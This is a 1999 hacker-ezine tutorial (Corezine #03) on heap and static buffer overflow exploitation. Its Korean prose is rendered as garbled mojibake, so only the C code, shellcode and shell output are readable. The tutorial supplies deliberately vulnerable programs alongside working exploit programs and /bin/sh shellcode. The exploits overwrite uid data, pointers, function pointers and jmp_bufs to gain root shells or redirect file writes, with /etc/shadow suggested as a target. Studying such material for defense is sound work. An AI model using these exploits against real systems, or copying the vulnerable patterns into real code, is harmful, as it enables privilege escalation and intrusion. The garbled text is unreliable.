_____ _______ .~. / __ \ |___ (_) /V\ | / \/ ___ _ __ ___ / / _ _ __ ___ // \\ | | / _ \| '__/ _ \ / / | | '_ \ / _ \ /( )\ | \__/\ (_) | | | __/./ /__| | | | | __/ ^`~'^ \____/\___/|_| \___|\_____/_|_| |_|\___| ------[ Corezine volume 03 - October 1999 Corezine #03 ================== Heap Overflows by example +-=-+-=-+-=-+-=-+-=-+-=-+-=-+-=-+ By lamagra ----[ Introduction ¸ÕÀú, Èü(heap)¿À¹öÇ÷ο찡 ½ºÅñâ¹ÝÀÇ ¹öÆÛ¿À¹öÇ÷ο캸´Ù´Â ´õ ´Ü¼øÇϱ⠶§¹®¿¡ ÀÌ°ÍÀ» "¿¹Á¦¸¦ »ç¿ëÇÏ¿©" ¼³¸íÇÏ°Ú´Ù. ±×¸®°í ºñ·Ï Èü(heap)±â¹ÝÀÇ ¹öÆÛ¿À¹öÇ÷ο찡 °¡²ûÀº ¾î·Æ°Ô º¸Àϼö ÀÖÁö¸¸, ÅؽºÆ® º¸´Ù´Â ÀÌÇØÇϱ⠴õ ½¬¿î ¿¹Á¦·Î½á ¼³¸íÇÏ°Ú´Ù. ¸Þ¸ð¸®»ó¿¡¼­ Èü(heap)Àº malloc(3), calloc(3)°ú °°Àº ÇÔ¼ö¸¦ ÅëÇؼ­ µ¿Àû À¸·Î ÇÒ´çµÇ´Â Áö¿ªÀÌ´Ù. ¶ÇÇÑ Àü¿ªº¯¼ö³ª Á¤Àû(static) ¹öÆÛµµ ÀÌ¿Í °°Àº ¹æ¹ýÀ¸·Î exploit ÇÒ ¼ö ÀÖ´Ù. Èü(heap) ¿À¹öÇ÷οìÀÇ °³³äÀ» º¸À̱â À§ÇØ ¾Æ·¡¿Í °°Àº °£´ÜÇÑ ÇÁ·Î±×·¥À» ÀÛ¼ºÇغ¸¾Ò´Ù. <++> heap/example.c /* A simple demonstration of a heap based overflow */ #include int main() { long diff,size = 8; char *buf1; char *buf2; buf1 = (char *)malloc(size); buf2 = (char *)malloc(size); if(buf1 == NULL || buf2 == NULL) { perror("malloc"); exit(-1); } diff = (long)buf2 - (long)buf1; printf("buf1 = %p & buf2 = %p & diff %d\n",buf1,buf2,diff); memset(buf2,'2',size); printf("BEFORE: buf2 = %s\n",buf2); memset(buf1,'1',diff+3); /* We overwrite 3 chars */ printf("AFTER: buf2 = %s\n",buf2); return 0; } <--> darkstar:~/heap# gcc example.c -o example darkstar:~/heap# example buf1 = 0x804a5f8 & buf2 = 0x804a608 & diff = 16 BEFORE: buf2 = 22222222 AFTER: buf2 = 11122222 darkstar:~/heap# malloc()À» »ç¿ëÇØ Æ÷ÀÎÅÍ(buf1°ú buf2)¸¦ ¸¸µé¾ú´Ù. ±× °á°ú´Â À§¿Í °°´Ù. --------[ Overwriting data <++> heap/hole1.c /* * This is a simple example with a heap overflow inside. * All that it does is get the user's uid/gid and execute a shell. */ #include #include struct passwd *pwd; char buf[32]; int main(int argc, char **argv) { if((pwd = getpwuid(getuid())) == NULL) { perror("Who are you"); exit(-1); } if(argc == 2) strcpy(buf,argv[1]); setregid(pwd->pw_gid,pwd->pw_gid); setregid(pwd->pw_gid,pwd->pw_uid); execl(pwd->pw_shell,pwd->pw_shell,NULL); } <--> ¿©·¯ºÐÀÌ º¸´Â ¹Ù¿Í °°ÀÌ À§ÀÇ ÇÁ·Î±×·¥Àº ¿À¹öÇ÷ο찡 ÀϾ °ÍÀÌ »·ÇÏ´Ù. ÀÌ°ÍÀÇ ÀͽºÇ÷ÎÀÕÀº ¾ÆÁÖ ½±°Ô ¸¸µé¼ö ÀÖ´Ù. <++> heap/exploit1.c /* This is the overwrite exploit example */ #include #include #include #define BUFSIZE 32 int main(int argc,char **argv) { int diff = 16; /* Estimated diff */ struct passwd *pwd; char *buf; if(argc != 2) { printf("Usage: %s \n",argv[0]); } if((pwd = getpwuid(getuid())) == NULL) { printf("You're unknown, filling in arbitrary values\n"); memset(pwd,NULL,sizeof(struct passwd)); pwd->pw_shell="/bin/sh"; } pwd->pw_uid = pwd->pw_gid = 0; buf = malloc(BUFSIZE + diff + sizeof(struct passwd)); if(buf == NULL) { printf("Malloc error\n"); exit(-1); } memset(buf,'A',BUFSIZE + diff); strcpy(buf+BUFSIZE+diff,pwd); execl(argv[1],argv[1],buf,NULL); return -1; } <--> darkstar:~/heap# gcc hole1.c -ohole darkstar:~/heap# gcc exploit1.c -oexpl darkstar:~/heap$ expl hole darkstar:~/heap# --------[ Overwriting pointers ´ÙÀ½¿¹Á¦´Â Æ÷ÀÎÅ͸¦ µ¤¾î¾´´Ù´Â Á¡¿¡¼­ ´õ À¯¿ëÇÒ °ÍÀÌ´Ù. <++> heap/example2.c /* Another simple demonstration of a heap based overflow . This time overwriting pointers. */ #include int main() { long diff; static char buf1[16], *buf2; buf2 = buf1; diff = (long)&buf2 - (long)buf1; printf("buf1 = %p & buf2 = %p & diff %d\n",buf1,&buf2,diff); printf("BEFORE: buf2 = %p\n",buf2); /* An address is 4 long, so we overwrite 4 chars */ memset(buf1,'A',diff+4); printf("AFTER: buf2 = %p\n",buf2); return 0; } <--> darkstar:~/heap# gcc example2.c -o example2 darkstar:~/heap# example2 buf1 = 0x804a55c & buf2 = 0x804a56c & diff = 16 BEFORE: buf2 = 0x804a55c AFTER: buf2 = 0x41414141 darkstar:~/heap# ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ¶§, buf2 Æ÷ÀÎÅÍ°¡ ´Ù¸¥ ÁÖ¼Ò(0x41414141)À» °¡¸®Å°´Â °ÍÀ» º¸¾Ò´Ù. ÀÌ°ÍÀ» ¾î¶»°Ô ¾Ç¿ëÇÒ±î? ´ÙÀ½¿¡ À̾îÁö´Â ¿¹Á¦¸¦ º¸ÀÚ. <++> heap/hole2.c /* Our vunerable program, really easy to exploit.*/ #include #include int main() { static char buf[16], *tempor; int fd; tempor = tempnam(NULL,NULL); printf("BEFORE: tempor = %s\n",tempor); printf("Input data to write to file\n"); gets(buf); printf("AFTER: tempor = %s\n",tempor); fd = open(tempor,O_WRONLY|O_CREAT,0644); fchown(fd,getuid(),getgid()); /* Change ownership */ write(fd,buf, strlen(buf)); close(fd); return 0; } <--> ¿©±â ÀͽºÇ÷ÎÀÕÀÌ ÀÖ´Ù: <++> heap/exploit2.c /* This is the overwrite exploit example */ #include #include unsigned long get_esp() { asm("movl %esp,%eax"); } #define BUFSIZE 16 int main(int argc,char **argv) { char *buf; long addr; if(argc != 3) { printf("Usage: %s \n",argv[0]); } buf = malloc(BUFSIZE + sizeof(long)); if(buf == NULL) { printf("Malloc error\n"); exit(-1); } memset(buf,'A',BUFSIZE); addr = get_esp() + atoi(argv[2]); printf("Using address 0x%x\n",addr); *(long *)&buf[BUFSIZE] = addr; execl(argv[1],argv[1],buf,"/tmp/secret",NULL); return -1; } <--> This is what happens: darkstar:~/heap# gcc hole2.c -ovun darkstar:~/heap# gcc exploit2.c -oexpl darkstar:~/heap$ expl vun 280 Using address 0xbffffc0c BEFORE: tempor = /tmp/00397aaa AFTER: tempor = /tmp/secret darkstar:~/heap# ls -l /tmp/secret -rw-r--r-- 1 lamagra lamagra 22 Sep 27 19:58 /tmp/secret darkstar:~/heap# ÇìÇì, /etc/shadow·Î À§¿Í °°ÀÌ ÇÒ ¼ö ÀÖ´Ù°í »ý°¢Çغ¸ÀÚ. º¸´Ù½ÃÇÇ, Æ÷ÀÎÅÍ(tempor)¸¦ µ¤¾î¾º¿ö¼­ ½ºÅûóÀÇ argv[2]¸¦ °¡¸®Å°µµ·Ï Çß´Ù. ´ÙÀ½¿¡ ³ª¿À´Â ¿¹¸¦ ÅëÇؼ­, Æ÷ÀÎÅÍ°¡ ÇÔ¼ö¸¦ °¡¸®Å°µµ·Ï ÇÏ´Â °ÍÀ» »ìÆ캸ÀÚ. <++> heap/hole3.c #include int bla(char *text) { puts(text); } int main(int argc, char **argv) { static char buf[16]; static int (*funct)(char *); if(argc < 3) { printf("Usage: %s \n",argv[0]); exit(-1); } funct = (int (*)(char *))bla; printf("BEFORE: funct = 0x%x\n",funct); strcpy(buf,argv[1]); printf("AFTER: funct = 0x%x\n",funct); (int)(*funct)(argv[2]); return 0; } <--> ÀÌ ÀͽºÇ÷ÎÀÕÀº ¿©·¯ ¹æ¹ýÀ¸·Î ½ÃµµÇÒ ¼ö ÀÖ´Ù : o libc ÇÔ¼öÀÇ Æ÷ÀÎÅ͸¦ ¹Ù²Û´Ù. (system()) o ½ºÅÃÀÇ ¾î¶²ºÎºÐÀ» °¡¸®Å°µµ·Ï ¹Ù²Û´Ù. (½©Äڵ尡 ÀÖ´Â ºÎºÐ) o Èü(heap)ÀÇ ¾î¶² ºÎºÐÀ» °¡¸®Å°µµ·Ï ¹Ù²Û´Ù. (½©Äڵ尡 ÀÖ´Â ºÎºÐ) Èü(heap)°ú libcÇÔ¼ö¸¦ ¹Ù²Ù´Â °ÍÀÌ ÀÌ°ÍÀ» ÀͽºÇ÷ÎÀÕ Çϱ⿡ ÃÖ¼±ÀÇ ¹æ¹ýÀÌ´Ù. ¶ÇÇÑ ½ÇÇàºÒ°¡´ÉÇÑ ½ºÅÃ(non-exec stack), ½ºÅð¡µå(stackguard)¸¦ ¿ìȸÇÒ ¼öµµ ÀÖ´Ù. ±×¸®°í offsetÀ» ½±°Ô °è»êÇÒ ¼ö ÀÖ´Ù. ÀÌ ¹®¼­¿¡´Â heap ±â¹ÝÀÇ ÀͽºÇ÷ÎÀÕ¸¸ Æ÷ÇԵǾî ÀÖÁö¸¸ ³²¾ÆÀÖ´Â °ÍµéÀº µ¶ÀÚÀÇ ¸òÀÌ´Ù. <++> heap/exploit3.c /* This is the overwrite function pointer exploit example */ /* Uses heap */ #include #define BUFSIZE 200 /* Standard x86 linux shellcode */ char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv) { char *buf; long addr; void *handle; if(argc != 3) { printf("Usage: %s
\n",argv[0]); exit(-1); } addr = strtoul(argv[2],0,0); buf = malloc(BUFSIZE + sizeof(long)); if(buf == NULL) { printf("Malloc error\n"); exit(-1); } printf("buf 0x%x\n",buf); memset(buf,0x90,BUFSIZE); /* fill the buf so that it's filled to the top*/ memcpy(buf,code,sizeof(code)-1); printf("Using address 0x%x\n",addr); *(long *)&buf[BUFSIZE] = addr; execl(argv[1],argv[1],buf,"blah",NULL); return -1; } <--> ÀÌ ÀͽºÇ÷ÎÀÕÀ» »ç¿ëÇϱâ À§Çؼ­ ¿ì¼± hole3¿¡¼­ "buf"ÀÇ Á¤È®ÇÑ ÁÖ¼Ò¸¦ ¾ò¾î¾ß¸¸ ÇÑ´Ù. ÀÌ ÁÖ¼Ò¸¦ ¾ò±â À§ÇØ, ¾Æ·¡¿Í °°ÀÌ °£´ÜÇÑ ÇÁ·Î±×·¥µéÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. darkstar:~/heap# nm | grep buf 0804a5f8 b buf.4 darkstar:~/heap# ¼º°øÀÌ´Ù. ¿ì¸®´Â ¸Þ¸ð¸®»ó¿¡¼­ Á¤È®ÇÑ ¿ÀÇÁ¼Â(offset)À» ¾ò¾ú´Ù. (ÀÌ°ÍÀÌ Èü±â¹Ý ¿À¹öÇ÷οìÀÇ ¶Ç´Ù¸¥ ÀåÁ¡ÀÌ´Ù.) --------[ Overwriting jumpbuffers Jumpbuffers´Â ¿¡·¯°¡ ¹ß»ýÇÒ °æ¿ì ÇÁ·Î±×·¥ÀÇ ¶Ç´Ù¸¥ À§Ä¡·Î À̵¿Çϱâ À§Çؼ­ »ç¿ëµÈ´Ù. setjmp(3), longjmp(3) and sigsetjmp(3)¿Í °°Àº ÇÔ¼öµéÀ» È®ÀÎÇØ º¸ÀÚ. jmpbuf´Â ¾Æ·¡¿Í °°ÀÌ ÀÌ·ç¾îÁ® ÀÖ´Ù: From i386/jmp_buf.h typedef struct __jmp_buf_base { long int __bx, __si, __di; __ptr_t __bp; __ptr_t __sp; __ptr_t __pc; } __jmp_buf[1]; From i386/jmp_buf.h (note: ´Ù¸¥ ½Ã½ºÅ۵鿡¼­´Â jmpbuf°¡ longÇüÅÂÀÇ ¹è¿­·Î ÀÌ·ç¾îÁ® ÀÖ´Ù.) setjmp(3)´Â ÇöÀçÀÇ ¸í·É¾î¿Í, ½ºÅÃÆ÷ÀÎÅÍ ±×¸®°í ´Ù¸¥ ·¹Áö½ºÅ͸¦ ÀúÀåÇÑ´Ù. longjmp(3)´Â setjmp(3)¿¡ ÀÇÇØ ÀúÀåµÈ °ªµéÀ» º¹±¸½ÃŲ´Ù. <++> heap/hole4.c #include #include int main(int argc, char **argv) { static char buf[200]; static jmp_buf jmpbuf; if(argc < 2) { printf("Usage: %s \n",argv[0]); exit(-1); } if(setjmp(jmpbuf)) { printf("Sploit failed\n"); exit(-1); } printf("BEFORE:\n"); printf("\tbx = 0x%x\n\tbp = 0x%x\n\tsp = 0x%x\n\tpc = 0x%x\n", jmpbuf->__bx,jmpbuf->__bp,jmpbuf->__sp,jmpbuf->__pc); strcpy(buf,argv[1]); printf("AFTER:\n"); printf("\tbx = 0x%x\n\tbp = 0x%x\n\tsp = 0x%x\n\tpc = 0x%x\n", jmpbuf->__bx,jmpbuf->__bp,jmpbuf->__sp,jmpbuf->__pc); longjmp(jmpbuf,1); return 0; } <--> <++> heap/exploit4.c /* This is the overwrite jmpbuf exploit example */ /* Uses heap */ #include #define BUFSIZE 200 /* Standard x86 linux shellcode */ char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv) { char *buf; long addr; void *handle; long stack = 0xbffffbc0; if(argc != 3) { printf("Usage: %s
\n",argv[0]); exit(-1); } addr = strtoul(argv[2],0,0); buf = malloc(BUFSIZE + sizeof(long)); if(buf == NULL) { printf("Malloc error\n"); exit(-1); } memset(buf,0x90,BUFSIZE + 4*4); /* fill the buf so that it's filled to the top*/ memcpy(buf,code,strlen(code)); printf("Using address 0x%x\n",addr); *(long *)&buf[BUFSIZE + 4*4] = stack; /* gotta overwrite the stack pointer with a good value else we get a segfault at the call in the shellcode */ *(long *)&buf[BUFSIZE + 4*5] = addr; execl(argv[1],argv[1],buf,"blah",NULL); return -1; } <--> (note: ÀÌ ÀͽºÇ÷ÎÀÕ¿¡¼­ ½ºÅÃ(argv[])¿¡ ½©ÄÚµåÀ» ³õ¾ÒÁö¸¸, ÀÌ°ÍÀº Èü(heap) À» ÅëÇؼ­µµ °¡´ÉÇÏ´Ù.) --------[ Overwriting io-structs fopen(3), ldopen(3), popen(3), fdopen(3) °ú °°Àº ÆÄÀÏ °ü·Ã ÇÔ¼öµéÀº data °ø°£¿¡ ÇÒ´çµÈ ±¸Á¶Ã¼¸¦ »ç¿ëÇÑ´Ù. À̰͵µ ¸î°¡Áö ¹æ¹ýÀ¸·Î ÅëÇؼ­ µ¤¾î ¾º¾î Áú ¼ö ÀÖ´Ù. structÀÇ ³»¿ëÀÌ ¾Æ·¡¿¡ ³ª¿Í ÀÖ´Ù: From libio.h struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _blksize; _IO_off_t _offset; unsigned short _cur_column; char _unused; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ struct _IO_lock_t _IO_lock; }; From libio.h ³ª¸ÓÁö °ÍµéÀº ÀÌ ±ÛÀ» Àд µ¶Àڵ鿡°Ô ³²°ÜÁø °ÍÀÌ´Ù. Èï¹Ì·Î¿î °ÍÀº fileno¸¦ stdinÀ¸·Î ¹Ù²Ù¾î, ÆÄÀÏ ´ë½Å¿¡ standard inputÀ» ÅëÇØ ÀÐÀ» ¼ö ÀÖµµ·Ï ÇÏ´Â °ÍÀÌ´Ù. ---------[ Real life examples Wu-ftpd´Â µð·ºÅ丮¸¦ ¹Ù²Ù´Â °úÁ¤(chdir)¿¡¼­ heap-overflow°¡ ¹ß»ýÇÏ´Â Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù. ±× ÀͽºÇ÷ÎÀÕÀº ¾ÆÁÖ °³ÀÎÀûÀÎ °ÍÀ̹ǷΠÀÌ ¹®¼­¿¡ ´Â Æ÷ÇÔ½ÃÅ°Áö ¾Ê¾Ò´Ù. ---------[ EOF